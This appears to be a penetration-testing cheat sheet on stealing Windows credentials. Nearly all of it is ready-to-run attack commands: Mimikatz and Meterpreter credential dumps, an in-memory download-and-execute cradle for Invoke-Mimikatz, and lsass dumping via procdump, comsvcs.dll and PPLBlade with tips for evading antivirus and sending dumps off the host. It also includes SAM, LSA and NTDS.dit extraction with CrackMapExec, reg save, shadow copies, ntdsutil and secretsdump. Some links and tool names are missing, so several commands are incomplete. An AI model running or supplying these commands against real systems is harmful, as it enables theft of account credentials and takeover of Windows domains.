Stealing Windows Credentials

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Credentials Mimikatz

#Elevate Privileges to extract the credentials
privilege::debug #This should give am error if you are Admin, butif it does, check if the SeDebugPrivilege was removed from Admins
#Extract from lsass (memory)
#Extract from lsass (service)
lsadump::lsa /inject
#Extract from SAM
#One liner
mimikatz "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"

Find other things that Mimikatz can do in this page.


IEX (New-Object System.Net.Webclient).DownloadString('')
Invoke-Mimikatz -DumpCreds #Dump creds from memory
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam" "lsadump::cache" "sekurlsa::ekeys" "exit"'

Learn about some possible credentials protections here. This protections could prevent Mimikatz from extracting some credentials.

Credentials with Meterpreter

Use the Credentials Plugin that I have created to search for passwords and hashes inside the victim.

#Credentials from SAM

#Using kiwi module
load kiwi
kiwi_cmd "privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::lsa /inject" "lsadump::sam"

#Using Mimikatz module
load mimikatz
mimikatz_command -f "sekurlsa::logonpasswords"
mimikatz_command -f "lsadump::lsa /inject"
mimikatz_command -f "lsadump::sam"

Bypassing AV

Procdump + Mimikatz

As Procdump from SysInternals is a legitimate Microsoft tool, it's not detected by Defender. You can use this tool to dump the lsass process, download the dump and extract the credentials locally from the dump.

Dump lsass
C:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
#Remote, mount which contains procdump.exe
net use Z:
Z:\procdump.exe -accepteula -ma lsass.exe lsass.dmp
Extract credentials from the dump
//Load the dump
mimikatz # sekurlsa::minidump lsass.dmp
//Extract credentials
mimikatz # sekurlsa::logonPasswords

This process is done automatically with SprayKatz: ./ -u H4x0r -p L0c4L4dm1n -t

Note: Some AV may detect as malicious the use of procdump.exe to dump lsass.exe, this is because they are detecting the string "procdump.exe" and "lsass.exe". So it is stealthier to pass as an argument the PID of lsass.exe to procdump instead of the name lsass.exe.

Dumping lsass with comsvcs.dll

A DLL named comsvcs.dll found in C:\Windows\System32 is responsible for dumping process memory in the event of a crash. This DLL includes a function named MiniDumpW, designed to be invoked using rundll32.exe. It is irrelevant to use the first two arguments, but the third one is divided into three components. The process ID to be dumped constitutes the first component, the dump file location represents the second, and the third component is strictly the word full. No alternative options exist. Upon parsing these three components, the DLL is engaged in creating the dump file and transferring the specified process's memory into this file. Utilization of the comsvcs.dll is feasible for dumping the lsass process, thereby eliminating the need to upload and execute procdump. This method is described in detail at

The following command is employed for execution:

rundll32.exe C:\Windows\System32\comsvcs.dll MiniDump <lsass pid> lsass.dmp full

You can automate this process with lssasy.

Dumping lsass with Task Manager

  1. Right click on the Task Bar and click on Task Manager

  2. Click on More details

  3. Search for "Local Security Authority Process" process in the Processes tab

  4. Right click on "Local Security Authority Process" process and click on "Create dump file".

Dumping lsass with procdump

Procdump is a Microsoft signed binary which is a part of sysinternals suite.

Get-Process -Name LSASS
.\procdump.exe -ma 608 lsass.dmp

Dumpin lsass with PPLBlade

PPLBlade is a Protected Process Dumper Tool that support obfuscating memory dump and transferring it on remote workstations without dropping it onto the disk.

Key functionalities:

  1. Bypassing PPL protection

  2. Obfuscating memory dump files to evade Defender signature-based detection mechanisms

  3. Uploading memory dump with RAW and SMB upload methods without dropping it onto the disk (fileless dump)

PPLBlade.exe --mode dump --name lsass.exe --handle procexp --obfuscate --dumpmode network --network raw --ip --port 1234


Dump SAM hashes

cme smb -u UserNAme -p 'PASSWORDHERE' --sam

Dump LSA secrets

cme smb -u UserNAme -p 'PASSWORDHERE' --lsa

Dump the NTDS.dit from target DC

cme smb -u UserNAme -p 'PASSWORDHERE' --ntds
#~ cme smb -u UserNAme -p 'PASSWORDHERE' --ntds vss

Dump the NTDS.dit password history from target DC

#~ cme smb -u UserNAme -p 'PASSWORDHERE' --ntds-history

Show the pwdLastSet attribute for each NTDS.dit account

#~ cme smb -u UserNAme -p 'PASSWORDHERE' --ntds-pwdLastSet

Stealing SAM & SYSTEM

This files should be located in C:\windows\system32\config\SAM and C:\windows\system32\config\SYSTEM. But you cannot just copy them in a regular way because they protected.

From Registry

The easiest way to steal those files is to get a copy from the registry:

reg save HKLM\sam sam
reg save HKLM\system system
reg save HKLM\security security

Download those files to your Kali machine and extract the hashes using:

samdump2 SYSTEM SAM
impacket-secretsdump -sam sam -security security -system system LOCAL

Volume Shadow Copy

You can perform copy of protected files using this service. You need to be Administrator.

Using vssadmin

vssadmin binary is only available in Windows Server versions

vssadmin create shadow /for=C:
#Copy SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SAM
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\system32\config\SYSTEM C:\Extracted\SYSTEM
#Copy ntds.dit
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy8\windows\ntds\ntds.dit C:\Extracted\ntds.dit

# You can also create a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

But you can do the same from Powershell. This is an example of how to copy the SAM file (the hard drive used is "C:" and its saved to C:\users\Public) but you can use this for copying any protected file:

$service=(Get-Service -name VSS)
if($service.Status -ne "Running"){$notrunning=1;$service.Start()}
$id=(gwmi -list win32_shadowcopy).Create("C:\","ClientAccessible").ShadowID
$volume=(gwmi win32_shadowcopy -filter "ID='$id'")
cmd /c copy "$($volume.DeviceObject)\windows\system32\config\sam" C:\Users\Public
$voume.Delete();if($notrunning -eq 1){$service.Stop()}

Code from the book:


Finally, you could also use the PS script Invoke-NinjaCopy to make a copy of SAM, SYSTEM and ntds.dit.

Invoke-NinjaCopy.ps1 -Path "C:\Windows\System32\config\sam" -LocalDestination "c:\copy_of_local_sam"

Active Directory Credentials - NTDS.dit

The NTDS.dit file is known as the heart of Active Directory, holding crucial data about user objects, groups, and their memberships. It's where the password hashes for domain users are stored. This file is an Extensible Storage Engine (ESE) database and resides at %SystemRoom%/NTDS/ntds.dit.

Within this database, three primary tables are maintained:

  • Data Table: This table is tasked with storing details about objects like users and groups.

  • Link Table: It keeps track of relationships, such as group memberships.

  • SD Table: Security descriptors for each object are held here, ensuring the security and access control for the stored objects.

More information about this:

Windows uses Ntdsa.dll to interact with that file and its used by lsass.exe. Then, part of the NTDS.dit file could be located inside the lsass memory (you can find the latest accessed data probably because of the performance improve by using a cache).

Decrypting the hashes inside NTDS.dit

The hash is cyphered 3 times:

  1. Decrypt Password Encryption Key (PEK) using the BOOTKEY and RC4.

  2. Decrypt tha hash using PEK and RC4.

  3. Decrypt the hash using DES.

PEK have the same value in every domain controller, but it is cyphered inside the NTDS.dit file using the BOOTKEY of the SYSTEM file of the domain controller (is different between domain controllers). This is why to get the credentials from the NTDS.dit file you need the files NTDS.dit and SYSTEM (C:\Windows\System32\config\SYSTEM).

Copying NTDS.dit using Ntdsutil

Available since Windows Server 2008.

ntdsutil "ac i ntds" "ifm" "create full c:\copy-ntds" quit quit

You could also use the volume shadow copy trick to copy the ntds.dit file. Remember that you will also need a copy of the SYSTEM file (again, dump it from the registry or use the volume shadow copy trick).

Extracting hashes from NTDS.dit

Once you have obtained the files NTDS.dit and SYSTEM you can use tools like to extract the hashes: LOCAL -ntds ntds.dit -system SYSTEM -outputfile credentials.txt

You can also extract them automatically using a valid domain admin user: -just-dc-ntlm <DOMAIN>/<USER>@<DOMAIN_CONTROLLER>

For big NTDS.dit files it's recommend to extract it using gosecretsdump.

Finally, you can also use the metasploit module: post/windows/gather/credentials/domain_hashdump or mimikatz lsadump::lsa /inject

Extracting domain objects from NTDS.dit to an SQLite database

NTDS objects can be extracted to an SQLite database with ntdsdotsqlite. Not only secrets are extracted but also the entire objects and their attributes for further information extraction when the raw NTDS.dit file is already retrieved.

ntdsdotsqlite ntds.dit -o ntds.sqlite --system SYSTEM.hive

The SYSTEM hive is optional but allow for secrets decryption (NT & LM hashes, supplemental credentials such as cleartext passwords, kerberos or trust keys, NT & LM password histories). Along with other information, the following data is extracted : user and machine accounts with their hashes, UAC flags, timestamp for last logon and password change, accounts description, names, UPN, SPN, groups and recursive memberships, organizational units tree and membership, trusted domains with trusts type, direction and attributes...


Download the binary from here. you can use this binary to extract credentials from several software.

lazagne.exe all

Other tools for extracting credentials from SAM and LSASS

Windows credentials Editor (WCE)

This tool can be used to extract credentials from the memory. Download it from:


Extract credentials from the SAM file

You can find this binary inside Kali, just do: locate fgdump.exe


Extract credentials from the SAM file

You can find this binary inside Kali, just do: locate pwdump.exe
PwDump.exe -o outpwdump -x
type outpwdump


Download it from: and just execute it and the passwords will be extracted.


Learn about some credentials protections here.

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

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